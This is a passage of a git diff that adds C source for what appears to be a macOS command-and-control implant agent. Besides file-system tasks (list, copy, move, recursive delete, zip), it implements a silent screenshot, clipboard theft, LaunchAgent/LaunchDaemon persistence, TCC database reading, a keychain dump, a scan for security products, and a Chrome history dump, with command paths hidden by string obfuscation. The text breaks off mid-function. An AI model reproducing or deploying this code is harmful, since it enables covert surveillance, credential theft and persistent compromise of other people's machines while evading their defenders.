raw_path[4096] = {0}; + // Default to "." if no path + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check if single file + struct stat st; + if (R_stat(path, &st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Build file list + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(st.st_mode)) { + DIR* dir = (DIR*)R_opendir(path); + if (!dir) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Count entries first + uint32_t count = 0; + struct dirent* ent; + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) count++; + R_rewinddir(dir); + + mp_write_array(&files_writer, count); + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) { + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + ax_strcat(fullpath, "/"); + } + ax_strcat(fullpath, ent->d_name); + + struct stat fst; + if (R_stat(fullpath, &fst) != 0) { + ax_memset(&fst, 0, sizeof(fst)); + } + + // Mode string + char mode[11]; + mode[0] = S_ISDIR(fst.st_mode) ? 'd' : (S_ISLNK(fst.st_mode) ? 'l' : '-'); + mode[1] = (fst.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (fst.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (fst.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (fst.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (fst.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (fst.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (fst.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (fst.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (fst.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + // User/Group + struct passwd* pw = (struct passwd*)R_getpwuid(fst.st_uid); + struct group* gr = (struct group*)R_getgrgid(fst.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + // Date + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&fst.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // FileInfo map (declaration order) + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", ent->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + } + R_closedir(dir); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode[0] = '-'; + mode[1] = (st.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (st.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (st.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (st.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (st.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (st.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (st.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (st.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (st.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + struct passwd* pw = (struct passwd*)R_getpwuid(st.st_uid); + struct group* gr = (struct group*)R_getgrgid(st.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&st.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // Extract basename + const char* basename = raw_path; + for (const char* p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure path ends with / + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + // Response: AnsLs {result, status, path, files} + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use macOS copyfile() for both files and directories + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "copy failed"); + return 0; + } + + // No response body on success (nil equivalent) + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Try rename first (same filesystem) + if (R_rename(src, dst) != 0) { + // Fallback: copy + delete + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "move failed"); + return 0; + } + // Delete source + struct stat st; + if (R_stat(src, &st) == 0) { + if (S_ISDIR(st.st_mode)) { + // Recursive delete — use a simple shell approach + // since we don't have nftw in nostdlib + // For now, just rmdir (works for empty dirs) + R_rmdir(src); + } else { + R_unlink(src); + } + } + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create directory with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char* p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + R_mkdir(tmp, 0755); + *p = '/'; + } + } + if (R_mkdir(tmp, 0755) != 0) { + struct stat st; + if (R_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive directory removal via fork+exec + DEOBF(rm_path, OBF_RM); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(rm_path, "rm", "-rf", path, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(rm_path, OBF_RM); + if (WEXITSTATUS(status) != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (R_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use ditto (macOS built-in) to create zip + DEOBF(ditto_path, OBF_DITTO); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(ditto_path, "ditto", "-c", "-k", "--sequesterRsrc", src, dst, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(ditto_path, OBF_DITTO); + if (WEXITSTATUS(status) != 0) { + write_error(w, "zip failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + + // Response: AnsZip {path} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", dst); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 000000000..6af32ac6c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,16 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_FS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c new file mode 100644 index 000000000..89106265d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c @@ -0,0 +1,668 @@ +#include "tasks_macos.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _mdbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _mdbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Helper: run a command and capture output +static int run_capture(const char* prog, char* const argv[], char* output, size_t output_size) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + size_t total = 0; + ssize_t n; + while (total < output_size - 1 && (n = R_read(pipefd[0], output + total, output_size - 1 - total)) > 0) { + total += (size_t)n; + } + output[total] = '\0'; + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Helper: dynamic buffer version of run_capture +static int run_capture_buf(const char* prog, char* const argv[], buffer_t* out) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + char buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], buf, sizeof(buf))) > 0) { + buf_append(out, (uint8_t*)buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Parse a string field from msgpack +static int parse_string_field(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key_name) && ax_memcmp(k, key_name, kl) == 0) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) != 0) return -1; + if (vl >= out_size) vl = (uint32_t)(out_size - 1); + ax_memcpy(out, v, vl); + out[vl] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +int task_screenshot(mp_writer_t* w) { + // Generate unique temp filename + DEOBF(tmp_prefix, OBF_TMP); + char tmpfile[64]; + ax_strcpy(tmpfile, tmp_prefix); + ax_strcat(tmpfile, "/.ax_"); + ZERO_STR(tmp_prefix, OBF_TMP); + + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + size_t pos = ax_strlen(tmpfile); + for (int i = 0; i < 6; i++) { + tmpfile[pos + i*2] = "0123456789abcdef"[(rnd[i] >> 4) & 0xf]; + tmpfile[pos + i*2 + 1] = "0123456789abcdef"[rnd[i] & 0xf]; + } + tmpfile[pos + 12] = '\0'; + ax_strcat(tmpfile, ".png"); + + DEOBF(screencapture_path, OBF_SCREENCAPTURE); + _mdbg("[SCREENSHOT] path:"); + _mdbg(screencapture_path); + _mdbg("[SCREENSHOT] tmpfile:"); + _mdbg(tmpfile); + char* argv[] = { "screencapture", "-x", tmpfile, NULL }; + int ret = run_capture(screencapture_path, argv, (char[1]){0}, 1); + ZERO_STR(screencapture_path, OBF_SCREENCAPTURE); + +#ifdef DEBUG_TRACE + { + char rbuf[48]; + int ri = 0; + const char* rp = "[SCREENSHOT] ret="; + while (*rp) rbuf[ri++] = *rp++; + int rv = ret; + char nb[8]; int ni = 0; + if (rv == 0) { nb[ni++] = '0'; } + else { do { nb[ni++] = '0' + (rv % 10); rv /= 10; } while (rv > 0); } + while (ni > 0) rbuf[ri++] = nb[--ni]; + rbuf[ri] = '\0'; + _mdbg(rbuf); + } +#endif + + if (ret != 0) { + R_unlink(tmpfile); + write_error(w, "screencapture failed"); + return 0; + } + + int fd = R_open(tmpfile, O_RDONLY, 0); + if (fd < 0) { + _mdbg("[SCREENSHOT] cannot open tmpfile (TCC Screen Recording permission likely missing)"); + write_error(w, "screenshot failed: file not created (Screen Recording TCC permission required)"); + return 0; + } + + buffer_t img; + buf_init(&img, 65536); + char buf[8192]; + ssize_t n; + while ((n = R_read(fd, buf, sizeof(buf))) > 0) { + buf_append(&img, (uint8_t*)buf, (size_t)n); + } + R_close(fd); + R_unlink(tmpfile); + +#ifdef DEBUG_TRACE + { + char ibuf[48]; + int ii = 0; + const char* ip = "[SCREENSHOT] img_len="; + while (*ip) ibuf[ii++] = *ip++; + size_t iv = img.len; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (iv % 10); iv /= 10; } while (iv > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + _mdbg(ibuf); + } +#endif + + mp_write_map(w, 1); + mp_write_str(w, "screens", 7); + mp_write_array(w, 1); + mp_write_bin(w, img.data, (uint32_t)img.len); + + buf_free(&img); + return 0; +} + +int task_clipboard(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + DEOBF(pbpaste_path, OBF_PBPASTE); + char* argv[] = { "pbpaste", NULL }; + run_capture_buf(pbpaste_path, argv, &out); + ZERO_STR(pbpaste_path, OBF_PBPASTE); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + + buf_free(&out); + return 0; +} + +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[32] = {0}, method[32] = {0}, name[256] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 6 && ax_memcmp(k, "action", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(action)) { ax_memcpy(action, v, vl); action[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "method", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(method)) { ax_memcpy(method, v, vl); method[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "name", 4) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(name)) { ax_memcpy(name, v, vl); name[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(action, "status") == 0) { + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "list", NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + } else if (ax_strcmp(action, "install") == 0) { + char exe_path[1024]; + uint32_t exe_size = sizeof(exe_path); + extern int _NSGetExecutablePath(char*, uint32_t*); + _NSGetExecutablePath(exe_path, &exe_size); + + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + char plist[2048]; + ax_strcpy(plist, "\n" + "\n" + "\n\n" + "\tLabel\n\t"); + ax_strcat(plist, name); + ax_strcat(plist, "\n" + "\tProgramArguments\n\t\n\t\t"); + ax_strcat(plist, exe_path); + ax_strcat(plist, "\n\t\n" + "\tRunAtLoad\n\t\n" + "\tKeepAlive\n\t\n" + "\n\n"); + + int fd = R_open(plist_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + buf_free(&out); + write_error(w, "cannot write plist"); + return 0; + } + R_write(fd, plist, ax_strlen(plist)); + R_close(fd); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "load", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + + char msg[1200]; + ax_strcpy(msg, "Installed: "); + ax_strcat(msg, plist_path); + ax_strcat(msg, "\n"); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else if (ax_strcmp(action, "remove") == 0) { + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "unload", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + R_unlink(plist_path); + + char msg[1200]; + ax_strcpy(msg, "Removed: "); + ax_strcat(msg, plist_path); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else { + buf_free(&out); + write_error(w, "unknown persist action"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_tcc_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + const char* home = R_getenv("HOME"); + char db_path[1024]; + DEOBF(tcc_db, OBF_TCC_DB); + if (home) { + ax_strcpy(db_path, home); + ax_strcat(db_path, "/Library/Application Support/com.apple.TCC/TCC.db"); + } else { + ax_strcpy(db_path, tcc_db); + } + ZERO_STR(tcc_db, OBF_TCC_DB); + + DEOBF(sqlite3_path, OBF_SQLITE3); + char* argv[] = { "sqlite3", db_path, "SELECT service,client,auth_value FROM access;", NULL }; + int ret = run_capture_buf(sqlite3_path, argv, &out); + + if (ret != 0 || out.len == 0) { + buf_reset(&out); + DEOBF(tcc_db2, OBF_TCC_DB); + char* argv2[] = { "sqlite3", tcc_db2, + "SELECT service,client,auth_value FROM access;", NULL }; + run_capture_buf(sqlite3_path, argv2, &out); + ZERO_STR(tcc_db2, OBF_TCC_DB); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + + if (out.len == 0) { + buf_free(&out); + mp_write_map(w, 1); + mp_write_kv_str(w, "output", "TCC database not readable (requires FDA)"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char domain[256] = {0}; + parse_string_field(data, data_len, "domain", domain, sizeof(domain)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(defaults_path, OBF_DEFAULTS); + if (domain[0] != '\0') { + char* argv[] = { "defaults", "read", domain, NULL }; + run_capture_buf(defaults_path, argv, &out); + } else { + char* argv[] = { "defaults", "read", NULL }; + run_capture_buf(defaults_path, argv, &out); + } + ZERO_STR(defaults_path, OBF_DEFAULTS); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_edr_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + // EDR paths — decode each from OBF, check, zero + const uint8_t* edr_obf[] = { + OBF_EDR_CS_FALCONCTL, OBF_EDR_CS_FALCON, OBF_EDR_ADDIGY, + OBF_EDR_MALWAREBYTES, OBF_EDR_JAMF, OBF_EDR_S1_APP, + OBF_EDR_S1_LIB, OBF_EDR_ES_KEXT, OBF_EDR_SOPHOS, + OBF_EDR_ELASTIC, OBF_EDR_BLOCKBLOCK, OBF_EDR_LULU, + OBF_EDR_KNOCKKNOCK, OBF_EDR_REIKEY, OBF_EDR_XPROTECT, + }; + const int edr_sizes[] = { + sizeof(OBF_EDR_CS_FALCONCTL), sizeof(OBF_EDR_CS_FALCON), sizeof(OBF_EDR_ADDIGY), + sizeof(OBF_EDR_MALWAREBYTES), sizeof(OBF_EDR_JAMF), sizeof(OBF_EDR_S1_APP), + sizeof(OBF_EDR_S1_LIB), sizeof(OBF_EDR_ES_KEXT), sizeof(OBF_EDR_SOPHOS), + sizeof(OBF_EDR_ELASTIC), sizeof(OBF_EDR_BLOCKBLOCK), sizeof(OBF_EDR_LULU), + sizeof(OBF_EDR_KNOCKKNOCK), sizeof(OBF_EDR_REIKEY), sizeof(OBF_EDR_XPROTECT), + }; + const char* edr_names[] = { + "CrowdStrike Falcon (falconctl)", "CrowdStrike Falcon (support dir)", + "Addigy", "Malwarebytes", "Jamf", "SentinelOne Agent", + "SentinelOne (sentinel-agent)", "EndpointSecurity kext", "Sophos", + "Elastic Endpoint", "BlockBlock (Objective-See)", "LuLu (Objective-See)", + "KnockKnock (Objective-See)", "ReiKey (Objective-See)", "XProtect / Apple HV", + }; + + for (int i = 0; i < 15; i++) { + char path_buf[256]; + xor_decode(path_buf, edr_obf[i], edr_sizes[i] - 1); + + struct stat st; + if (R_stat(path_buf, &st) == 0) { + char line[256]; + ax_strcpy(line, "[FOUND] "); + ax_strcat(line, edr_names[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + + volatile char* vp = (volatile char*)path_buf; + for (int j = 0; j < (int)sizeof(path_buf); j++) vp[j] = 0; + } + + // Check running processes + DEOBF(ps_path, OBF_PS); + char* argv[] = { "ps", "aux", NULL }; + buffer_t ps_out; + buf_init(&ps_out, 8192); + run_capture_buf(ps_path, argv, &ps_out); + ZERO_STR(ps_path, OBF_PS); + + char nul = '\0'; + buf_append(&ps_out, (uint8_t*)&nul, 1); + + const char* known_procs[] = { + "falcond", "falcon-sensor", + "SentinelAgent", + "elastic-agent", + "sophosd", + "jamfdaemon", "jamf", + NULL + }; + + for (int i = 0; known_procs[i]; i++) { + if (ax_strstr((const char*)ps_out.data, known_procs[i])) { + char line[256]; + ax_strcpy(line, "[RUNNING] "); + ax_strcat(line, known_procs[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + } + buf_free(&ps_out); + + if (out.len == 0) { + buf_append(&out, (uint8_t*)"No EDR products detected\n", 25); + } + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char action[32] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(security_path, OBF_SECURITY_BIN); + if (ax_strcmp(action, "list") == 0) { + char* argv[] = { "security", "list-keychains", NULL }; + run_capture_buf(security_path, argv, &out); + } else if (ax_strcmp(action, "dump") == 0) { + char* argv[] = { "security", "dump-keychain", "-d", NULL }; + run_capture_buf(security_path, argv, &out); + } else { + ZERO_STR(security_path, OBF_SECURITY_BIN); + buf_free(&out); + write_error(w, "unknown keychain action"); + return 0; + } + ZERO_STR(security_path, OBF_SECURITY_BIN); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char browser[32] = {0}, target[32] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 7 && ax_memcmp(k, "browser", 7) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(browser)) { ax_memcpy(browser, v, vl); browser[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "target", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(target)) { ax_memcpy(target, v, vl); target[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(browser, "chrome") == 0) { + DEOBF(chrome_default, OBF_CHROME_DEFAULT); + char base_path[1024]; + ax_strcpy(base_path, home); + ax_strcat(base_path, "/"); + ax_strcat(base_path, chrome_default); + ZERO_STR(chrome_default, OBF_CHROME_DEFAULT); + + DEOBF(sqlite3_path, OBF_SQLITE3); + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", base_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else if (ax_strcmp(target, "history") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "History"); + char* argv[] = { "sqlite3", db_path, + "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 100;", + NULL }; + 